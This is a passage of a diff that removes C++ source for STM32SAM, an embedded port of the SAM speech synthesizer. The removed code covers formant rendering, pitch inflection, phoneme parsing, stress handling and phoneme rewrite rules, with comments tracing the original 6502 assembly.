mem40; - mem53 = (unsigned char)((signed char)(m53) / mem40); - - // interpolation range - X = mem40; // number of frames to interpolate over - Y = phase3; // starting frame - - // linearly interpolate values - - mem56 = 0; - //47907: CLC - //pos47908: - while(1) //while No. 3 - { - A = Read(mem47, Y) + mem53; //carry alway cleared - - mem48 = A; - Y++; - X--; - if(X == 0) break; - - mem56 += mem51; - if(mem56 >= mem40) //??? - { - mem56 -= mem40; //carry? is set - //if ((mem56 & 128)==0) - if((mem50 & 128) == 0) { - //47935: BIT 50 - //47937: BMI 47943 - if(mem48 != 0) mem48++; - } else - mem48--; - } - //pos47945: - Write(mem47, Y, mem48); - } //while No. 3 - - //pos47952: - mem47++; - //if (mem47 != 175) goto pos47810; - } while(mem47 != 175); //while No. 2 - //pos47963: - mem44++; - X = mem44; - } //while No. 1 - - //goto pos47701; - //pos47970: - - // add the length of this phoneme - mem48 = mem49 + phonemeLengthOutput[mem44]; - - // ASSIGN PITCH CONTOUR - // - // This subtracts the F1 frequency from the pitch to create a - // pitch contour. Without this, the output would be at a single - // pitch level (monotone). - - // don't adjust pitch if in sing mode - if(!singmode) { - // iterate through the buffer - for(i = 0; i < 256; i++) { - // subtract half the frequency of the formant 1. - // this adds variety to the voice - pitches[i] -= (frequency1[i] >> 1); - } - } - - phase1 = 0; - phase2 = 0; - phase3 = 0; - mem49 = 0; - speedcounter = 72; //sam standard speed - - // RESCALE AMPLITUDE - // - // Rescale volume from a linear scale to decibels. - // - - //amplitude rescaling - for(i = 255; i >= 0; i--) { - amplitude1[i] = amplitudeRescale[amplitude1[i]]; - amplitude2[i] = amplitudeRescale[amplitude2[i]]; - amplitude3[i] = amplitudeRescale[amplitude3[i]]; - } - - Y = 0; - A = pitches[0]; - mem44 = A; - X = A; - mem38 = A - (A >> 2); // 3/4*A ??? - - // PROCESS THE FRAMES - // - // In traditional vocal synthesis, the glottal pulse drives filters, which - // are attenuated to the frequencies of the formants. - // - // SAM generates these formants directly with sin and rectangular waves. - // To simulate them being driven by the glottal pulse, the waveforms are - // reset at the beginning of each glottal pulse. - - //finally the loop for sound output - //pos48078: - while(1) { - // get the sampled information on the phoneme - A = sampledConsonantFlag[Y]; - mem39 = A; - - // unvoiced sampled phoneme? - A = A & 248; - if(A != 0) { - // render the sample for the phoneme - RenderSample(&mem66); - - // skip ahead two in the phoneme buffer - Y += 2; - mem48 -= 2; - } else { - // simulate the glottal pulse and formants - unsigned char ary[5]; - unsigned int p1 = - phase1 * 256; // Fixed point integers because we need to divide later on - unsigned int p2 = phase2 * 256; - unsigned int p3 = phase3 * 256; - int k; - for(k = 0; k < 5; k++) { - signed char sp1 = (signed char)sinus[0xff & (p1 >> 8)]; - signed char sp2 = (signed char)sinus[0xff & (p2 >> 8)]; - signed char rp3 = (signed char)rectangle[0xff & (p3 >> 8)]; - signed int sin1 = sp1 * ((unsigned char)amplitude1[Y] & 0x0f); - signed int sin2 = sp2 * ((unsigned char)amplitude2[Y] & 0x0f); - signed int rect = rp3 * ((unsigned char)amplitude3[Y] & 0x0f); - signed int mux = sin1 + sin2 + rect; - mux /= 32; - mux += 128; // Go from signed to unsigned amplitude - ary[k] = mux; - p1 += frequency1[Y] * 256 / 4; // Compromise, this becomes a shift and works well - p2 += frequency2[Y] * 256 / 4; - p3 += frequency3[Y] * 256 / 4; - } - // output the accumulated value - Output8BitAry(0, ary); - speedcounter--; - if(speedcounter != 0) goto pos48155; - Y++; //go to next amplitude - - // decrement the frame count - mem48--; - } - - // if the frame count is zero, exit the loop - if(mem48 == 0) return; - speedcounter = speed; - pos48155: - - // decrement the remaining length of the glottal pulse - mem44--; - - // finished with a glottal pulse? - if(mem44 == 0) { - pos48159: - // fetch the next glottal pulse length - A = pitches[Y]; - mem44 = A; - A = A - (A >> 2); - mem38 = A; - - // reset the formant wave generators to keep them in - // sync with the glottal pulse - phase1 = 0; - phase2 = 0; - phase3 = 0; - continue; - } - - // decrement the count - mem38--; - - // is the count non-zero and the sampled flag is zero? - if((mem38 != 0) || (mem39 == 0)) { - // reset the phase of the formants to match the pulse - phase1 += frequency1[Y]; - phase2 += frequency2[Y]; - phase3 += frequency3[Y]; - continue; - } - - // voiced sampled phonemes interleave the sample with the - // glottal pulse. The sample flag is non-zero, so render - // the sample for the phoneme. - RenderSample(&mem66); - goto pos48159; - } //while - - // The following code is never reached. It's left over from when - // the voiced sample code was part of this loop, instead of part - // of RenderSample(); - - //pos48315: - int tempA; - phase1 = A ^ 255; - Y = mem66; - do { - //pos48321: - - mem56 = 8; - A = Read(mem47, Y); - - //pos48327: - do { - //48327: ASL A - //48328: BCC 48337 - tempA = A; - A = A << 1; - if((tempA & 128) != 0) { - X = 26; - // mem[54296] = X; - bufferpos += 150; - // - // - // buffer[bufferpos / 50] = (X & 15) * 16; - // - // - - } else { - //mem[54296] = 6; - X = 6; - bufferpos += 150; - // - // buffer[bufferpos / 50] = (X & 15) * 16; - // - // - } - - for(X = wait2; X > 0; X--) - ; //wait - mem56--; - } while(mem56 != 0); - - Y++; - phase1++; - - } while(phase1 != 0); - // if (phase1 != 0) goto pos48321; - A = 1; - mem44 = 1; - mem66 = Y; - Y = mem49; - return; -} - -// Create a rising or falling inflection 30 frames prior to -// index X. A rising inflection is used for questions, and -// a falling inflection is used for statements. - -void STM32SAM::AddInflection(unsigned char mem48, unsigned char phase1) { - //pos48372: - // mem48 = 255; - //pos48376: - - // store the location of the punctuation - mem49 = X; - A = X; - int Atemp = A; - - // backup 30 frames - A = A - 30; - // if index is before buffer, point to start of buffer - if(Atemp <= 30) A = 0; - X = A; - - // FIXME: Explain this fix better, it's not obvious - // ML : A =, fixes a problem with invalid pitch with '.' - while((A = pitches[X]) == 127) X++; - -pos48398: - //48398: CLC - //48399: ADC 48 - - // add the inflection direction - A += mem48; - phase1 = A; - - // set the inflection - pitches[X] = A; -pos48406: - - // increment the position - X++; - - // exit if the punctuation has been reached - if(X == mem49) return; //goto pos47615; - if(pitches[X] == 255) goto pos48406; - A = phase1; - goto pos48398; -} - -/* - SAM's voice can be altered by changing the frequencies of the - mouth formant (F1) and the throat formant (F2). Only the voiced - phonemes (5-29 and 48-53) are altered. -*/ -void STM32SAM::SetMouthThroat() { - unsigned char initialFrequency; - unsigned char newFrequency = 0; - //unsigned char mouth; //mem38880 - //unsigned char throat; //mem38881 - - // mouth formants (F1) 5..29 - unsigned char mouthFormants5_29[30] = {0, 0, 0, 0, 0, 10, 14, 19, 24, 27, - 23, 21, 16, 20, 14, 18, 14, 18, 18, 16, - 13, 15, 11, 18, 14, 11, 9, 6, 6, 6}; - - // throat formants (F2) 5..29 - unsigned char throatFormants5_29[30] = {255, 255, 255, 255, 255, 84, 73, 67, 63, 40, - 44, 31, 37, 45, 73, 49, 36, 30, 51, 37, - 29, 69, 24, 50, 30, 24, 83, 46, 54, 86}; - - // there must be no zeros in this 2 tables - // formant 1 frequencies (mouth) 48..53 - unsigned char mouthFormants48_53[6] = {19, 27, 21, 27, 18, 13}; - - // formant 2 frequencies (throat) 48..53 - unsigned char throatFormants48_53[6] = {72, 39, 31, 43, 30, 34}; - - unsigned char pos = 5; //mem39216 - //pos38942: - // recalculate formant frequencies 5..29 for the mouth (F1) and throat (F2) - while(pos != 30) { - // recalculate mouth frequency - initialFrequency = mouthFormants5_29[pos]; - if(initialFrequency != 0) newFrequency = trans(mouth, initialFrequency); - freq1data[pos] = newFrequency; - - // recalculate throat frequency - initialFrequency = throatFormants5_29[pos]; - if(initialFrequency != 0) newFrequency = trans(throat, initialFrequency); - freq2data[pos] = newFrequency; - pos++; - } - - //pos39059: - // recalculate formant frequencies 48..53 - pos = 48; - Y = 0; - while(pos != 54) { - // recalculate F1 (mouth formant) - initialFrequency = mouthFormants48_53[Y]; - newFrequency = trans(mouth, initialFrequency); - freq1data[pos] = newFrequency; - - // recalculate F2 (throat formant) - initialFrequency = throatFormants48_53[Y]; - newFrequency = trans(throat, initialFrequency); - freq2data[pos] = newFrequency; - Y++; - pos++; - } -} - -//return = (mem39212*mem39213) >> 1 -unsigned char STM32SAM::trans(unsigned char mem39212, unsigned char mem39213) { - //pos39008: - unsigned char carry; - int temp; - unsigned char mem39214, mem39215; - A = 0; - mem39215 = 0; - mem39214 = 0; - X = 8; - do { - carry = mem39212 & 1; - mem39212 = mem39212 >> 1; - if(carry != 0) { - /* - 39018: LSR 39212 - 39021: BCC 39033 - */ - carry = 0; - A = mem39215; - temp = (int)A + (int)mem39213; - A = A + mem39213; - if(temp > 255) carry = 1; - mem39215 = A; - } - temp = mem39215 & 1; - mem39215 = (mem39215 >> 1) | (carry ? 128 : 0); - carry = temp; - //39033: ROR 39215 - X--; - } while(X != 0); - temp = mem39214 & 128; - mem39214 = (mem39214 << 1) | (carry ? 1 : 0); - carry = temp; - temp = mem39215 & 128; - mem39215 = (mem39215 << 1) | (carry ? 1 : 0); - carry = temp; - - return mem39215; -} - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// Sam -// -//////////////////////////////////////////////////////////////////////////////////////////// - -//char input[]={"/HAALAOAO MAYN NAAMAEAE IHSTT SAEBAASTTIHAAN \x9b\x9b\0"}; -//unsigned char input[]={"/HAALAOAO \x9b\0"}; -//unsigned char input[]={"AA \x9b\0"}; -//unsigned char input[] = {"GUH5DEHN TAEG\x9b\0"}; - -//unsigned char input[]={"AY5 AEM EY TAO4LXKIHNX KAX4MPYUX4TAH. GOW4 AH/HEH3D PAHNK.MEYK MAY8 DEY.\x9b\0"}; -//unsigned char input[]={"/HEH3LOW2, /HAW AH YUX2 TUXDEY. AY /HOH3P YUX AH FIYLIHNX OW4 KEY.\x9b\0"}; -//unsigned char input[]={"/HEY2, DHIHS IH3Z GREY2T. /HAH /HAH /HAH.AYL BIY5 BAEK.\x9b\0"}; -//unsigned char input[]={"/HAH /HAH /HAH \x9b\0"}; -//unsigned char input[]={"/HAH /HAH /HAH.\x9b\0"}; -//unsigned char input[]={".TUW BIY5Y3,, OHR NAA3T - TUW BIY5IYIY., DHAE4T IHZ DHAH KWEH4SCHAHN.\x9b\0"}; -//unsigned char input[]={"/HEY2, DHIHS \x9b\0"}; - -//unsigned char input[]={" IYIHEHAEAAAHAOOHUHUXERAXIX \x9b\0"}; -//unsigned char input[]={" RLWWYMNNXBDGJZZHVDH \x9b\0"}; -//unsigned char input[]={" SSHFTHPTKCH/H \x9b\0"}; - -//unsigned char input[]={" EYAYOYAWOWUW ULUMUNQ YXWXRXLX/XDX\x9b\0"}; - -void STM32SAM::SetInput(char* _input) { - int i, l; - l = strlen(_input); - if(l > 254) l = 254; - for(i = 0; i < l; i++) { - input[i] = _input[i]; - } - input[l] = 0; -} - -// 168=pitches -// 169=frequency1 -// 170=frequency2 -// 171=frequency3 -// 172=amplitude1 -// 173=amplitude2 -// 174=amplitude3 - -void STM32SAM::Init() { - bufferpos = 0; - int i; - SetMouthThroat(); - - bufferpos = 0; - // TODO, check for free the memory, 10 seconds of output should be more than enough - //buffer = malloc(22050*10); - - // buffer = (char*) calloc(1, sizeof(char)); - - /* - freq2data = &mem[45136]; - freq1data = &mem[45056]; - freq3data = &mem[45216]; - */ - //pitches = &mem[43008]; - /* - frequency1 = &mem[43264]; - frequency2 = &mem[43520]; - frequency3 = &mem[43776]; - */ - /* - amplitude1 = &mem[44032]; - amplitude2 = &mem[44288]; - amplitude3 = &mem[44544]; - */ - //phoneme = &mem[39904]; - /* - ampl1data = &mem[45296]; - ampl2data = &mem[45376]; - ampl3data = &mem[45456]; - */ - - for(i = 0; i < 256; i++) { - stress[i] = 0; - phonemeLength[i] = 0; - } - - for(i = 0; i < 60; i++) { - phonemeIndexOutput[i] = 0; - stressOutput[i] = 0; - phonemeLengthOutput[i] = 0; - } - phonemeindex[255] = - 255; //to prevent buffer overflow // ML : changed from 32 to 255 to stop freezing with long inputs -} - -//int Code39771() -int STM32SAM::SAMMain() { - Init(); - phonemeindex[255] = 32; //to prevent buffer overflow - - if(!Parser1()) { - return 0; - } - - Parser2(); - CopyStress(); - SetPhonemeLength(); - AdjustLengths(); - Code41240(); - do { - A = phonemeindex[X]; - if(A > 80) { - phonemeindex[X] = 255; - break; // error: delete all behind it - } - X++; - } while(X != 0); - - //pos39848: - InsertBreath(); - - //mem[40158] = 255; - - PrepareOutput(); - - return 1; -} - -//void Code48547() -void STM32SAM::PrepareOutput() { - A = 0; - X = 0; - Y = 0; - - //pos48551: - while(1) { - A = phonemeindex[X]; - if(A == 255) { - A = 255; - phonemeIndexOutput[Y] = 255; - Render(); - return; - } - if(A == 254) { - X++; - int temp = X; - //mem[48546] = X; - phonemeIndexOutput[Y] = 255; - Render(); - //X = mem[48546]; - X = temp; - Y = 0; - continue; - } - - if(A == 0) { - X++; - continue; - } - - phonemeIndexOutput[Y] = A; - phonemeLengthOutput[Y] = phonemeLength[X]; - stressOutput[Y] = stress[X]; - X++; - Y++; - } -} - -//void Code41014() -void STM32SAM::Insert( - unsigned char position /*var57*/, - unsigned char mem60, - unsigned char mem59, - unsigned char mem58) { - int i; - for(i = 253; i >= position; i--) // ML : always keep last safe-guarding 255 - { - phonemeindex[i + 1] = phonemeindex[i]; - phonemeLength[i + 1] = phonemeLength[i]; - stress[i + 1] = stress[i]; - } - - phonemeindex[position] = mem60; - phonemeLength[position] = mem59; - stress[position] = mem58; - return; -} - -//void Code48431() -void STM32SAM::InsertBreath() { - unsigned char mem54; - unsigned char mem55; - unsigned char index; //variable Y - mem54 = 255; - X++; - mem55 = 0; - unsigned char mem66 = 0; - while(1) { - //pos48440: - X = mem66; - index = phonemeindex[X]; - if(index == 255) return; - mem55 += phonemeLength[X]; - - if(mem55 < 232) { - if(index != 254) // ML : Prevents an index out of bounds problem - { - A = flags2[index] & 1; - if(A != 0) { - X++; - mem55 = 0; - Insert(X, 254, mem59, 0); - mem66++; - mem66++; - continue; - } - } - if(index == 0) mem54 = X; - mem66++; - continue; - } - X = mem54; - phonemeindex[X] = 31; // 'Q*' glottal stop - phonemeLength[X] = 4; - stress[X] = 0; - X++; - mem55 = 0; - Insert(X, 254, mem59, 0); - X++; - mem66 = X; - } -} - -// Iterates through the phoneme buffer, copying the stress value from -// the following phoneme under the following circumstance: - -// 1. The current phoneme is voiced, excluding plosives and fricatives -// 2. The following phoneme is voiced, excluding plosives and fricatives, and -// 3. The following phoneme is stressed -// -// In those cases, the stress value+1 from the following phoneme is copied. -// -// For example, the word LOITER is represented as LOY5TER, with as stress -// of 5 on the diphtong OY. This routine will copy the stress value of 6 (5+1) -// to the L that precedes it. - -//void Code41883() -void STM32SAM::CopyStress() { - // loop thought all the phonemes to be output - unsigned char pos = 0; //mem66 - while(1) { - // get the phomene - Y = phonemeindex[pos]; - - // exit at end of buffer - if(Y == 255) return; - - // if CONSONANT_FLAG set, skip - only vowels get stress - if((flags[Y] & 64) == 0) { - pos++; - continue; - } - // get the next phoneme - Y = phonemeindex[pos + 1]; - if(Y == 255) //prevent buffer overflow - { - pos++; - continue; - } else - // if the following phoneme is a vowel, skip - if((flags[Y] & 128) == 0) { - pos++; - continue; - } - - // get the stress value at the next position - Y = stress[pos + 1]; - - // if next phoneme is not stressed, skip - if(Y == 0) { - pos++; - continue; - } - - // if next phoneme is not a VOWEL OR ER, skip - if((Y & 128) != 0) { - pos++; - continue; - } - - // copy stress from prior phoneme to this one - stress[pos] = Y + 1; - - // advance pointer - pos++; - } -} - -// The input[] buffer contains a string of phonemes and stress markers along -// the lines of: -// -// DHAX KAET IHZ AH5GLIY. <0x9B> -// -// The byte 0x9B marks the end of the buffer. Some phonemes are 2 bytes -// long, such as "DH" and "AX". Others are 1 byte long, such as "T" and "Z". -// There are also stress markers, such as "5" and ".". -// -// The first character of the phonemes are stored in the table signInputTable1[]. -// The second character of the phonemes are stored in the table signInputTable2[]. -// The stress characters are arranged in low to high stress order in stressInputTable[]. -// -// The following process is used to parse the input[] buffer: -// -// Repeat until the <0x9B> character is reached: -// -// First, a search is made for a 2 character match for phonemes that do not -// end with the '*' (wildcard) character. On a match, the index of the phoneme -// is added to phonemeIndex[] and the buffer position is advanced 2 bytes. -// -// If this fails, a search is made for a 1 character match against all -// phoneme names ending with a '*' (wildcard). If this succeeds, the -// phoneme is added to phonemeIndex[] and the buffer position is advanced -// 1 byte. -// -// If this fails, search for a 1 character match in the stressInputTable[]. -// If this succeeds, the stress value is placed in the last stress[] table -// at the same index of the last added phoneme, and the buffer position is -// advanced by 1 byte. -// -// If this fails, return a 0. -// -// On success: -// -// 1. phonemeIndex[] will contain the index of all the phonemes. -// 2. The last index in phonemeIndex[] will be 255. -// 3. stress[] will contain the stress value for each phoneme - -// input[] holds the string of phonemes, each two bytes wide -// signInputTable1[] holds the first character of each phoneme -// signInputTable2[] holds te second character of each phoneme -// phonemeIndex[] holds the indexes of the phonemes after parsing input[] -// -// The parser scans through the input[], finding the names of the phonemes -// by searching signInputTable1[] and signInputTable2[]. On a match, it -// copies the index of the phoneme into the phonemeIndexTable[]. -// -// The character <0x9B> marks the end of text in input[]. When it is reached, -// the index 255 is placed at the end of the phonemeIndexTable[], and the -// function returns with a 1 indicating success. -int STM32SAM::Parser1() { - int i; - unsigned char sign1; - unsigned char sign2; - unsigned char position = 0; - X = 0; - A = 0; - Y = 0; - - // CLEAR THE STRESS TABLE - for(i = 0; i < 256; i++) stress[i] = 0; - - // THIS CODE MATCHES THE PHONEME LETTERS TO THE TABLE - // pos41078: - while(1) { - // GET THE FIRST CHARACTER FROM THE PHONEME BUFFER - sign1 = input[X]; - // TEST FOR 155 (�) END OF LINE MARKER - if(sign1 == 155) { - // MARK ENDPOINT AND RETURN - phonemeindex[position] = 255; //mark endpoint - // REACHED END OF PHONEMES, SO EXIT - return 1; //all ok - } - - // GET THE NEXT CHARACTER FROM THE BUFFER - X++; - sign2 = input[X]; - - // NOW sign1 = FIRST CHARACTER OF PHONEME, AND sign2 = SECOND CHARACTER OF PHONEME - - // TRY TO MATCH PHONEMES ON TWO TWO-CHARACTER NAME - // IGNORE PHONEMES IN TABLE ENDING WITH WILDCARDS - - // SET INDEX TO 0 - Y = 0; - pos41095: - - // GET FIRST CHARACTER AT POSITION Y IN signInputTable - // --> should change name to PhonemeNameTable1 - A = signInputTable1[Y]; - - // FIRST CHARACTER MATCHES? - if(A == sign1) { - // GET THE CHARACTER FROM THE PhonemeSecondLetterTable - A = signInputTable2[Y]; - // NOT A SPECIAL AND MATCHES SECOND CHARACTER? - if((A != '*') && (A == sign2)) { - // STORE THE INDEX OF THE PHONEME INTO THE phomeneIndexTable - phonemeindex[position] = Y; - - // ADVANCE THE POINTER TO THE phonemeIndexTable - position++; - // ADVANCE THE POINTER TO THE phonemeInputBuffer - X++; - - // CONTINUE PARSING - continue; - } - } - - // NO MATCH, TRY TO MATCH ON FIRST CHARACTER TO WILDCARD NAMES (ENDING WITH '*') - - // ADVANCE TO THE NEXT POSITION - Y++; - // IF NOT END OF TABLE, CONTINUE - if(Y != 81) goto pos41095; - - // REACHED END OF TABLE WITHOUT AN EXACT (2 CHARACTER) MATCH. - // THIS TIME, SEARCH FOR A 1 CHARACTER MATCH AGAINST THE WILDCARDS - - // RESET THE INDEX TO POINT TO THE START OF THE PHONEME NAME TABLE - Y = 0; - pos41134: - // DOES THE PHONEME IN THE TABLE END WITH '*'? - if(signInputTable2[Y] == '*') { - // DOES THE FIRST CHARACTER MATCH THE FIRST LETTER OF THE PHONEME - if(signInputTable1[Y] == sign1) { - // SAVE THE POSITION AND MOVE AHEAD - phonemeindex[position] = Y; - - // ADVANCE THE POINTER - position++; - - // CONTINUE THROUGH THE LOOP - continue; - } - } - Y++; - if(Y != 81) goto pos41134; //81 is size of PHONEME NAME table - - // FAILED TO MATCH WITH A WILDCARD. ASSUME THIS IS A STRESS - // CHARACTER. SEARCH THROUGH THE STRESS TABLE - - // SET INDEX TO POSITION 8 (END OF STRESS TABLE) - Y = 8; - - // WALK BACK THROUGH TABLE LOOKING FOR A MATCH - while((sign1 != stressInputTable[Y]) && (Y > 0)) { - // DECREMENT INDEX - Y--; - } - - // REACHED THE END OF THE SEARCH WITHOUT BREAKING OUT OF LOOP? - if(Y == 0) { - //mem[39444] = X; - //41181: JSR 42043 //Error - // FAILED TO MATCH ANYTHING, RETURN 0 ON FAILURE - return 0; - } - // SET THE STRESS FOR THE PRIOR PHONEME - stress[position - 1] = Y; - } //while -} - -//change phonemelength depedendent on stress -//void Code41203() -void STM32SAM::SetPhonemeLength() { - unsigned char A; - int position = 0; - while(phonemeindex[position] != 255) { - A = stress[position]; - //41218: BMI 41229 - if((A == 0) || ((A & 128) != 0)) { - phonemeLength[position] = phonemeLengthTable[phonemeindex[position]]; - } else { - phonemeLength[position] = phonemeStressedLengthTable[phonemeindex[position]]; - } - position++; - } -} - -void STM32SAM::Code41240() { - unsigned char pos = 0; - - while(phonemeindex[pos] != 255) { - unsigned char index; //register AC - X = pos; - index = phonemeindex[pos]; - if((flags[index] & 2) == 0) { - pos++; - continue; - } else if((flags[index] & 1) == 0) { - Insert(pos + 1, index + 1, phonemeLengthTable[index + 1], stress[pos]); - Insert(pos + 2, index + 2, phonemeLengthTable[index + 2], stress[pos]); - pos += 3; - continue; - } - - do { - X++; - A = phonemeindex[X]; - } while(A == 0); - - if(A != 255) { - if((flags[A] & 8) != 0) { - pos++; - continue; - } - if((A == 36) || (A == 37)) { - pos++; // '/H' '/X' - continue; - } - } - - Insert(pos + 1, index + 1, phonemeLengthTable[index + 1], stress[pos]); - Insert(pos + 2, index + 2, phonemeLengthTable[index + 2], stress[pos]); - pos += 3; - } -} - -// Rewrites the phonemes using the following rules: -// -// -> WX -// -> YX -// UL -> AX L -// UM -> AX M -// -> Q -// T R -> CH R -// D R -> J R -// R -> RX -// L -> LX -// G S -> G Z -// K -> KX -// G -> GX -// S P -> S B -// S T -> S D -// S K -> S G -// S KX -> S GX -// UW -> UX -// CH -> CH CH' (CH requires two phonemes to represent it) -// J -> J J' (J requires two phonemes to represent it) -// T -> DX -// D -> DX - -//void Code41397() -void STM32SAM::Parser2() { - unsigned char pos = 0; //mem66; - unsigned char mem58 = 0; - - // Loop through phonemes - while(1) { - // SET X TO THE CURRENT POSITION - X = pos; - // GET THE PHONEME AT THE CURRENT POSITION - A = phonemeindex[pos]; - - // Is phoneme pause? - if(A == 0) { - // Move ahead to the - pos++; - continue; - } - - // If end of phonemes flag reached, exit routine - if(A == 255) return; - - // Copy the current phoneme index to Y - Y = A; - - // RULE: - // -> WX - // -> YX - // Example: OIL, COW - - // Check for DIPHTONG - if((flags[A] & 16) == 0) goto pos41457; - - // Not a diphthong. Get the stress - mem58 = stress[pos]; - - // End in IY sound? - A = flags[Y] & 32; - - // If ends with IY, use YX, else use WX - if(A == 0) - A = 20; - else - A = 21; // 'WX' = 20 'YX' = 21 - //pos41443: - // Insert at WX or YX following, copying the stress - - Insert(pos + 1, A, mem59, mem58); - X = pos; - // Jump to ??? - goto pos41749; - - pos41457: - - // RULE: - // UL -> AX L - // Example: MEDDLE - - // Get phoneme - A = phonemeindex[X]; - // Skip this rule if phoneme is not UL - if(A != 78) goto pos41487; // 'UL' - A = 24; // 'L' //change 'UL' to 'AX L' - - pos41466: - // Get current phoneme stress - mem58 = stress[X]; - - // Change UL to AX - phonemeindex[X] = 13; // 'AX' - // Perform insert. Note code below may jump up here with different values - Insert(X + 1, A, mem59, mem58); - pos++; - // Move to next phoneme - continue; - - pos41487: - - // RULE: - // UM -> AX M - // Example: ASTRONOMY - - // Skip rule if phoneme != UM - if(A != 79) goto pos41495; // 'UM' - // Jump up to branch - replaces current phoneme with AX and continues - A = 27; // 'M' //change 'UM' to 'AX M' - - goto pos41466; - pos41495: - - // RULE: - // UN -> AX N - // Example: FUNCTION - - // Skip rule if phoneme != UN - if(A != 80) goto pos41503; // 'UN' - - // Jump up to branch - replaces current phoneme with AX and continues - A = 28; // 'N' //change UN to 'AX N' - - goto pos41466; - pos41503: - - // RULE: - // -> Q - // EXAMPLE: AWAY EIGHT - - Y = A; - // VOWEL set? - A = flags[A] & 128; - - // Skip if not a vowel - if(A != 0) { - // Get the stress - A = stress[X]; - - // If stressed... - if(A != 0) { - // Get the following phoneme - X++; - A = phonemeindex[X]; - // If following phoneme is a pause - - if(A == 0) { - // Get the phoneme following pause - X++; - Y = phonemeindex[X]; - - // Check for end of buffer flag - if(Y == 255) //buffer overflow - // ??? Not sure about these flags - A = 65 & 128; - else - // And VOWEL flag to current phoneme's flags - A = flags[Y] & 128; - - // If following phonemes is not a pause - if(A != 0) { - // If the following phoneme is not stressed - A = stress[X]; - if(A != 0) { - // 31 = 'Q' - Insert(X, 31, mem59, 0); - pos++; - continue; - } - } - } - } - } - - // RULES FOR PHONEMES BEFORE R - // T R -> CH R - // Example: TRACK - - // Get current position and phoneme - X = pos; - A = phonemeindex[pos]; - if(A != 23) goto pos41611; // 'R' - - // Look at prior phoneme - X--; - A = phonemeindex[pos - 1]; - //pos41567: - if(A == 69) // 'T' - { - phonemeindex[pos - 1] = 42; - goto pos41779; - } - - // RULES FOR PHONEMES BEFORE R - // D R -> J R - // Example: DRY - - // Prior phonemes D? - if(A == 57) // 'D' - { - // Change D to J - phonemeindex[pos - 1] = 44; - - goto pos41788; - } - - // RULES FOR PHONEMES BEFORE R - // R -> RX - // Example: ART - - // If vowel flag is set change R to RX - A = flags[A] & 128; - - if(A != 0) phonemeindex[pos] = 18; // 'RX' - - // continue to next phoneme - pos++; - continue; - - pos41611: - - // RULE: - // L -> LX - // Example: ALL - - // Is phoneme L? - if(A == 24) // 'L' - { - // If prior phoneme does not have VOWEL flag set, move to next phoneme - if((flags[phonemeindex[pos - 1]] & 128) == 0) { - pos++; - continue; - } - // Prior phoneme has VOWEL flag set, so change L to LX and move to next phoneme - - phonemeindex[X] = 19; // 'LX' - pos++; - continue; - } - - // RULE: - // G S -> G Z - // - // Can't get to fire - - // 1. The G -> GX rule intervenes - // 2. Reciter already replaces GS -> GZ - - // Is current phoneme S? - if(A == 32) // 'S' - { - // If prior phoneme is not G, move to next phoneme - if(phonemeindex[pos - 1] != 60) { - pos++; - continue; - } - // Replace S with Z and move on - - phonemeindex[pos] = 38; // 'Z' - pos++; - continue; - } - - // RULE: - // K -> KX - // Example: COW - - // Is current phoneme K? - if(A == 72) // 'K' - { - // Get next phoneme - Y = phonemeindex[pos + 1]; - // If at end, replace current phoneme with KX - if(Y == 255) - phonemeindex[pos] = 75; // ML : prevents an index out of bounds problem - else { - // VOWELS AND DIPHTONGS ENDING WITH IY SOUND flag set? - A = flags[Y] & 32; - - // Replace with KX - if(A == 0) phonemeindex[pos] = 75; // 'KX' - } - } else - - // RULE: - // G -> GX - // Example: GO - - // Is character a G? - if(A == 60) // 'G' - { - // Get the following character - unsigned char index = phonemeindex[pos + 1]; - - // At end of buffer? - if(index == 255) //prevent buffer overflow - { - pos++; - continue; - } else - // If diphtong ending with YX, move continue processing next phoneme - if((flags[index] & 32) != 0) { - pos++; - continue; - } - // replace G with GX and continue processing next phoneme - - phonemeindex[pos] = 63; // 'GX' - pos++; - continue; - } - - // RULE: - // S P -> S B - // S T -> S D - // S K -> S G - // S KX -> S GX - // Examples: SPY, STY, SKY, SCOWL - - Y = phonemeindex[pos]; - //pos41719: - // Replace with softer version? - A = flags[Y] & 1; - if(A == 0) goto pos41749; - A = phonemeindex[pos - 1]; - if(A != 32) // 'S' - { - A = Y; - goto pos41812; - } - // Replace with softer version - - phonemeindex[pos] = Y - 12; - pos++; - continue; - - pos41749: - - // RULE: - // UW -> UX - // - // Example: NEW, DEW, SUE, ZOO, THOO, TOO - - // UW -> UX - - A = phonemeindex[X]; - if(A == 53) // 'UW' - { - // ALVEOLAR flag set? - Y = phonemeindex[X - 1]; - A = flags2[Y] & 4; - // If not set, continue processing next phoneme - if(A == 0) { - pos++; - continue; - } - - phonemeindex[X] = 16; - pos++; - continue; - } - pos41779: - - // RULE: - // CH -> CH CH' (CH requires two phonemes to represent it) - // Example: CHEW - - if(A == 42) // 'CH' - { - // pos41783: - - Insert(X + 1, A + 1, mem59, stress[X]); - pos++; - continue; - } - - pos41788: - - // RULE: - // J -> J J' (J requires two phonemes to represent it) - // Example: JAY - - if(A == 44) // 'J' - { - Insert(X + 1, A + 1, mem59, stress[X]); - pos++; - continue; - } - - // Jump here to continue - pos41812: - - // RULE: Soften T following vowel - // NOTE: This rule fails for cases such as "ODD" - // T -> DX - // D -> DX - // Example: PARTY, TARDY - - // Past this point, only process if phoneme is T or D - - if(A != 69) // 'T' - if(A != 57) { - pos++; // 'D' - continue; - } - //pos41825: - - // If prior phoneme is not a vowel, continue processing phonemes - if((flags[phonemeindex[X - 1]] & 128) == 0) { - pos++; - continue; - } - - // Get next phoneme - X++; - A = phonemeindex[X]; - //pos41841 - // Is the next phoneme a pause? - if(A != 0) { - // If next phoneme is not a pause, continue processing phonemes - if((flags[A] & 128) == 0) { - pos++; - continue; - } - // If next phoneme is stressed, continue processing phonemes - // FIXME: How does a pause get stressed? - if(stress[X] != 0) { - pos++; - continue; - } - //pos41856: - // Set phonemes to DX - - phonemeindex[pos] = 30; // 'DX' - } else { - A = phonemeindex[X + 1]; - if(A == 255) //prevent buffer overflow - A = 65 & 128; - else - // Is next phoneme a vowel or ER? - A = flags[A] & 128; - - if(A != 0) phonemeindex[pos] = 30; // 'DX' - } - - pos++; - - } // while -} // parser 2 - -// Applies various rules that adjust the lengths of phonemes -// -// Lengthen or between and by 1.5 -// - decrease length by 1 -// - decrease vowel by 1/8th -// - increase vowel by 1/2 + 1 -// - set nasal = 5, consonant = 6 -// {optional silence} - shorten both to 1/2 + 1 -// - decrease by 2 - -//void Code48619() -void STM32SAM::AdjustLengths() { - // LENGTHEN VOWELS PRECEDING PUNCTUATION - // - // 